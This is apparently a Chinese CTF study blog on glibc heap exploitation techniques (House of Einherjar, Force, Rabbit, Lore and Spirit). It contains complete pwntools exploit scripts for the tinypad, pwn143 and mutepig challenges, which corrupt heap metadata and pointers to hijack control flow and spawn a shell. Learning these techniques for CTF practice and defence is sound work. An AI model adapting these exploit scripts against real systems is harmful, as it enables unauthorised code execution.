在学习了unlink、chunk extend、各种bin attack等基础攻击技术后,开始进入House Of系列的学习。
House Of Einherjar
借鉴文章:
House of Einherjar,原理是通过伪造一个chunk(记为chunk0)的prevsize和prev inuse位,然后将其free掉,在free时检测到prev inuse为0就会触发向前合并,合并前会先判断前面偏移为presize大小的地方是否有正确的chunk(记为fake chunk)fake chunk的size大小要跟chunk0的prevsize一致,然后对fake chunk执行unlink操作脱链,所以伪造fake chunk还得绕过脱链检测。如果伪造的fake chunk成功绕过检测,fake chunk和chunk0以及中间夹着所有内存区域就都会合并成一个chunk然后放进unsorted bin里面,这时候再申请就能返回fake chunk位置的chunk,实现了任意地址写。
fakechunk的构造模板:
payload = p64(0) + p64(size) + p64(fakechunk_addr) * 2
更具体的原理可以参考House Of Einherjar – CTF Wiki,讲的比我好很多。
例题 2016 Seccon tinypad
有add,edit,delete。只能add四个,用户自定义size和content,tinypad+256处开始存放结构体,一个结构体有两成员(两个八字节),第一个八字节存放堆的size,第二个八字节存放content的chunk地址,chunk大小是malloc(size)。如图:

那么tinypad前面256个字节是干什么的呢?edit函数会用到。本题edit有点特殊,不是直接往content chunk里面写,而是先往tinypad前256字节里面写,然后用strcpy复制到content chunk里,存在off by null漏洞。

delete函数先把content chunk指针free掉,然后把前面的size清零,所以有UAF。

所以有UAF和off by null,并且程序会在每一步结束后把chunk内容打印出来。思路是,通过UAF来泄露libc基址和堆地址,然后打house of einherjar,控制堆指针为malloc_hook或者free_hook,最后edit写入one_gadget。
泄露:
注意在泄露堆地址时候得先free2再free1,因为chunk1的堆地址也就是堆的基地址,通常以\x00结尾,如果泄露的是chunk1地址的话会因为\x00截断导致什么都没有。
create(0x40,b'a'*0x40) #chunk1
create(0x40,b'b'*0x40) #chunk2
create(0x80,b'c'*0x80) #chunk3
create(0xf0,b'd'*0xf0) #chunk4
#unsorted bin leak and get libc_base
free(3)
io.recvuntil("# INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C3B20
print(hex(libc_base))
#fast bin leak and get heap_base
free(2)
free(1)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))
print(hex(heap_addr))
#gdb.attach(io)
heap_base = heap_addr - 0x50
print(hex(heap_base))
然后就是house of einherjar:
#house of einherjar
#fakechunk选在tinypad+0x20的地方,因为最大输入是256B,得+0x20才能控制到chunk1的指针。
fakerchunk = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)
#计算偏移
offset = heap_base - heap_arr
#上面的步骤把1、2、3都free了,现在把4也free了,重新申请四个再开始下一步。
free(4)
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)
#由于edit函数的特殊,会把其他冗余字符也复制过来,所以在修改chunk2的prevsize和prev inuse时把高位清零,确保presize没有别的内容,
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
#利用chunk2来在tinypad+0x20处构造fakechunk,释放后检测到prev inuse位为0,然后往前面offset偏移的地方找,找到了fakechunk,成功通过检测,之后unlink fakechunk,合并fakechunk->chunk2,一起扔到unsorted bin里面去
edit(2,fakerchunk)
free(2)
通过上面的步骤,就成功把fakechunk->chunk2扔到unsorted bin里面去了:

接下来就是getshell,但是到这有个难题:因为程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0,所以无法往里面写入one gadget。这里用一个我之前闻所未闻的方法:利用__environ。
原理:__environ结构的第一个八字节记录了一个地址,该地址离main函数的ret是固定的8*30,通过__environ来泄露栈地址,计算ret地址,然后覆盖chunk1指针为ret地址,往chunk1,即ret写入one_gadget,最后退出即可getshell:
#getshell
#计算environ_addr
environ_addr = libc_base + libc.symbols['__environ']
print(hex(environ_addr))
#gdb.attach(io)
#修改fakechunk的fd和bk为unsortedbin_addr,确保能成功分配。
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
#gdb.attach(io)
#覆盖chunk1指针为environ_addr,然后add结束后程序自动打印chunk1内容,泄露environ的值。
#0xf0和0x602148是覆盖存储chunk2结构体的size成员和chunk2指针成员的,也就是chunk2指针被指向了0x602148,即存chunk1指针的地方。
payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30
#计算one_gadget
one_gadget = p64(libc_base + 0x4525a)
#覆盖chunk1指针为main_ret
edit(2,p64(main_ret))
#修改main_ret为one_gadget
edit(1,one_gadget)
#退出程序,触发one_gadget
io.sendline(b'Q')
io.interactive()
完整exp:
from pwn import *
context.log_level = 'info'
io = process("/home/monke/PWN/house of enherjar/tinypad")
elf = ELF("/home/monke/PWN/house of enherjar/tinypad")
libc = ELF("//home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
heap_arr = 0x602040
def create(size,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'A')
io.recvuntil("(SIZE)>>> ")
io.sendline(str(size))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
def free(index):
io.recvuntil("(CMD)>>> ")
io.sendline(b'D')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
def edit(index,content):
io.recvuntil("(CMD)>>> ")
io.sendline(b'E')
io.recvuntil("(INDEX)>>> ")
io.sendline(str(index))
io.recvuntil("(CONTENT)>>> ")
io.sendline(content)
io.recvuntil("(Y/n)>>> ")
io.sendline(b'Y')
create(0x40,b'a'*0x40) #chunk1
create(0x40,b'b'*0x40) #chunk2
create(0x80,b'c'*0x80) #chunk3
create(0xf0,b'd'*0xf0) #chunk4
#unsorted bin leak and get libc_base
free(3)
io.recvuntil("# INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C3B20
print(hex(libc_base))
#fast bin leak and get heap_base
free(2)
free(1)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))
print(hex(heap_addr))
#gdb.attach(io)
heap_base = heap_addr - 0x50
print(hex(heap_base))
#house of enherjar
fakerchunk = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)
offset = heap_base - heap_arr
free(4)
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)
#在修改chunk2的prevsize和prev inuse时把高位清零,确保presize没有别的内容,
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
#利用chunk2来在tinypad+0x20处构造fakechunk,释放后检测到prev inuse位为0,然后往前面offset偏移的地方找,找到了fakechunk,成功通过检测,之后unlink fakechunk,合并fakechunk->chunk2,一起扔到unsorted bin里面去
edit(2,fakerchunk)
free(2)
#gdb.attach(io)
#getshell
#计算environ_addr
environ_addr = libc_base + libc.symbols['__environ']
print(hex(environ_addr))
#gdb.attach(io)
#修改fakechunk的fd和bk为unsortedbin_addr,确保能成功分配。
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
#gdb.attach(io)
#覆盖chunk1指针为environ_addr,然后add结束后程序自动打印chunk1内容,泄露environ的值。
#0xf0和0x602148是覆盖存储chunk2结构体的size成员和chunk2指针成员的,也就是chunk2指针被指向了0x602148,即存chunk1指针的地方。
payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
io.recvuntil("# INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30
#计算one_gadget
one_gadget = p64(libc_base + 0x4525a)
#覆盖chunk1指针为main_ret
edit(2,p64(main_ret))
#修改main_ret为one_gadget
edit(1,one_gadget)
#退出程序,触发one_gadget
io.sendline(b'Q')
io.interactive()
House of Force
原理摘自ctf wiki:

我的理解是,每当malloc时,如果bins里面没有合适的chunk分配,就会从top chunk中割一块出来,top chunk的地址也会相应移动,那如果malloc了一个负值呢?top chunk就会往低地址移动,如果这个负值是可以随意分配的,也就意味着top chunk的地址能改到任意地方,这时候再申请chunk,就能达到任意地址写的效果
例题 ctfshow pwn入门 pwn143
题目一开始就自创了一个”bye_message” chunk,这个chunk的内容是个函数地址,在程序结束时候会用来打印goodbye这个字符串。
edit能溢出

delete无uaf漏洞
有后门函数
所以思路就是,先申请一个0x30的chunk,然后edit它,溢出修改top chunk的size位为-1,(这样就能逃过检查申请一个负值的chunk),接着申请一个特定负值的chunk,使得top chunk的地址移动到bye_message这个chunk处,申请一个chunk,修改bye_message chunk的指针指向后门函数,然后退出程序就能调用后门函数:
#申请第一个chunk,这个chunk和top:
add(0x30, b'aaaa')
#修改top chunk的size位为-1
payload = 0x30 * b'a'
payload += b'a' * 8 + p64(0xffffffffffffffff)
edit(0, 0x41, payload)
#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以
offset = -0x60-0x17
add(offset, b'aaaa')
#再申请一个chunk,拿到message chunk的内存,修改指针即可
add(0x10, p64(flag) * 2)
get_flag()
io.interactive()
完整exp:
from pwn import *
context.log_level = "debug"
io = remote('pwn.challenge.ctf.show',28182)
#io= process("pwn")
elf = ELF('pwn')
def add(length,name):
io.recvuntil("choice:")
io.sendline('2')
io.recvuntil(':')
io.sendline(str(length))
io.recvuntil(":")
io.sendline(name)
def edit(idx,length,name):
io.recvuntil("choice:")
io.sendline('3')
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(':')
io.sendline(name)
def delete(idx):
io.revcuntil("choice:")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(idx))
def show():
io.recvuntil("choice:")
io.sendline("1")
flag = elf.sym['fffffffffffffffffffffffffffffffffflag']
#申请第一个chunk,这个chunk和top:
add(0x30, b'aaaa')
#修改top chunk的size位为-1
payload = 0x30 * b'a'
payload += b'a' * 8 + p64(0xffffffffffffffff)
edit(0, 0x41, payload)
#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以
offset = -0x60-0x17
add(offset, b'aaaa')
#再申请一个chunk,拿到message chunk的内存,修改指针即可
add(0x10, p64(flag) * 2)
io.recvuntil("choice:")
io.sendline("5")
io.interactive()

House of Rabbit
参考ctf wiki:House of Rabbit – CTF Wiki
堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn
前置知识:
malloc_consolidate函数:heap – 11 – malloc_consolidate 源码及其部分分析 | Kiprey’s Blog
malloc_consolidate触发情景:堆漏洞挖掘中的malloc_consolidate与FASTBIN_CONSOLIDATION_THRESHOLD_consolidate函数-CSDN博客
malloc_consolidate_malloc consolidate-CSDN博客
本漏洞核心在于malloc_consolidate函数,触发这个函数时,会把每一个fast bin里面的chunk尝试向前向后合并,然后丢到unsorted bin中。
利用步骤如下:
1.存在一个fast bin里面的chunk0
2.修改该chunk0的fd指针,指向一个精心伪造的fakechunk(能绕过下一步的检测不触发合并)
3.触发malloc_consolidate函数,fakechunk就会被放到unsorted bin中
4.再申请一个大于0xffff的块,就会把fakechunk放到large bin中(需要通过检测),然后再次修改fakechunk的大小为一个非常大的值,这个时候再malloc合适的大小,就能切割得到想要地址的chunk,相当于实现了任意地址写。
一个小问题,为什么不直接在unsorted bin里面切割来任意地址写?我的理解是:因为unsorted bin切割仅限于small bin范围内,超过small bin范围且大小不是刚好命中的chunk不会切割,而是会直接放到large bin里面,所以得进large bin切割才能达到大范围的地址写。
可以结合CTFSHOW的demo来看:House Of Rabbit原理与例题 – 先知社区
例题:hitbctf2018_mutepig
参考文章:(*´∇`*) 天亮啦~ House_of_Rabbit学习 | A1ex’s Blog
堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn
有add,delete、edit、system,没有show。之前没有show的情况都是考虑通过IO_FILE来泄露,这次用house of rabbit打。

add函数,可以申请四种大小的chunk,其中最大的一种只有一次机会,chunk指针会被存储在ptr变量中:

delete函数,把对应指针给free掉,但是没有置空,可尝试UAF或者double free:

edit函数,两个read_end0(自己修改命名的),会在字符串后面自动添加\0,第一个read_end0可以修改对应chunk的前八个字节,第二个read_end0可以修改bss段的部分区域,可以用来伪造fakechunk:

所以利用house of rabbit的思路就是:
1.add两个0xa00000大小的chunk0、chunk1并轮流释放,这一步操作是为了扩大top chunk。
2.add一个fast bin大小的chunk2,一个small bin大小的chunk3。
3.把chunk2释放掉,修改chunk2的fd指针(也就是刚好能改到的前八字节),指向fakechunk位置,同时在fakechunk位置伪造chunk。
4.再释放chunk3,chunk3和top chunk合并,触发malloc consolidation,chunk2也被合并入top chunk,但是fake chunk由于精心构造,会绕过检测,单独进入unsorted bin。
5.修改fake chunk的size,使其能通过下一步的检测
6.再申请一个0xA00000的chunk,fake chunk就会进入large bin之中。
7.修改fakechunk的大小为一个特定的值,这个值与下一步申请大小的值的差就是想要地址的偏移
8. 申请0xFFFFFFFFFFFFFF70(因为题目中只能申请这个), 此时unsorted bin就会指向目标地址,就可以申请到一个可以修改ptr指针数组的chunk。
9.修改chunk0的指针为got表中free的地址
10.修改free为system函数,顺便输入/bin/sh(不用补0,因为read_end0有这个功能)
11.free掉/bin/sh的位置的chunk,即调用了system(/bin/sh),拿到shell
其中,fakechunk的“精心构造”和修改fakechunk的特定的值应该怎么算,参考:
堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn
完整exp:
from pwn import *
context.update(arch='amd64',os='linux',log_level = 'debug')
p= process('/home/monke/PWN/hous_ of_rabbit/mutepig')
elf = ELF('/home/monke/PWN/hous_ of_rabbit/mutepig')
libc = ELF('/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def add(type,content):
p.sendline('1')
p.sendline(str(type))
p.send(content)
def free(index):
p.sendline('2')
p.sendline(str(index))
def edit(index,content1,content2):
p.sendline('3')
p.sendline(str(index))
p.send(content1)
p.send(content2)
ptr = 0x06020C0
bss= 0x602120
#1.add两个0xa00000大小的chunk0、chunk1并轮流释放,这一步操作是为了扩大top chunk
add(3,'0') #0
free(0)
add(3,'1') #1
free(1)
#2.add一个fast bin大小的chunk2,一个small bin大小的chunk3。
add(1,'2') #2
add(2,'3') #3
#3.把chunk2释放掉,修改chunk2的fd指针(也就是刚好能改到的前八字节),指向fakechunk位置,同时在fakechunk位置伪造chunk
free(2)
edit(2,p64(bss+0x10)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xfffffffffffffff1))
#4.再释放chunk3,chunk3和top chunk合并,触发malloc consolidation,chunk2也被合并入top chunk,但是fake chunk由于精心构造,会绕过检测,单独进入unsorted bin。
free(3)
#5.修改fake chunk的size,使其能通过下一步的检测
edit(2,b'aaaa',p64(0)+p64(0x11)+p64(0)+p64(0xA00001))
#6.再申请一个0xA00000的chunk,fake chunk就会进入large bin之中。
add(3,'4') #4
#7.修改fakechunk的大小,使其为0xfffffffffffffff0
edit(2,b'aaaa',p64(0xfffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffff1))
#8. 申请0xFFFFFFFFFFFFFF70(因为题目中只能申请这个), 此时unsorted bin就会指向目标地址,就可以申请到一个可以修改ptr指针数组的chunk。
add(13337,'5') #5
#9.修改chunk0的指针为got表中free的地址
add(1,p64(elf.got['free'])[:-1])
#10.修改free为system函数,顺便输入/bin/sh(不用补0,因为read_end0有这个功能)
edit(0,p64(elf.symbols['system'])[:-1],'aaaa')
#11.free掉/bin/sh的位置的chunk,即调用了system(/bin/sh),拿到shell
edit(6,'/bin/sh','aaaa')
free(6)
p.interactive()

House of Lore
参考ctfwiki:House of Lore – CTF Wiki
原理:small bin上伪造fake chunk并申请到该位置的chunk
步骤:
1.在small bin上有一个chunk0,并且有改写该chunk的bk指针的能力
2.修改chunk0的bk指针,指向目标地址
3.目标地址有伪造好的fake chunk1,该fake chunk1的fd指向chunk0,bk指向fake chunk2,fake chunk2的fd指向fake chunk1
4.由于small bin是FIFO(先入先出)算法,申请第二次就能拿到fake chunk1地址的chunk了
(我之前还有点疑惑这种技术有什么用,因为既然都能在目标位置伪造fakechunk了,也就意味着有写的能力,为什么还要多此一举?后来想想,如果是只能够写伪造fakechunk的那几个字节,通过这种方法可以申请到该位置很大的chunk,也就扩大了写的范围;或者是可能跟其他技术打配合。这种攻击方法实现的效果肯定就不如house of rabbit这种能任意地址写的牛逼)
demo可以参考:House of Lore_堆house of lore-CSDN博客
House of Spirit
在讲House of Spirit之前,先抛出一个问题:之前的攻击利用,free掉的都是程序malloc产生的合法chunk,问题来了,free函数能不能free掉一个完全伪造出来的chunk?
这就是House of Spirit的精髓:free掉一个完全伪造出来的chunk,然后申请它,使其变为合法chunk,再进一步利用。
例题:2014 hack.lu oreo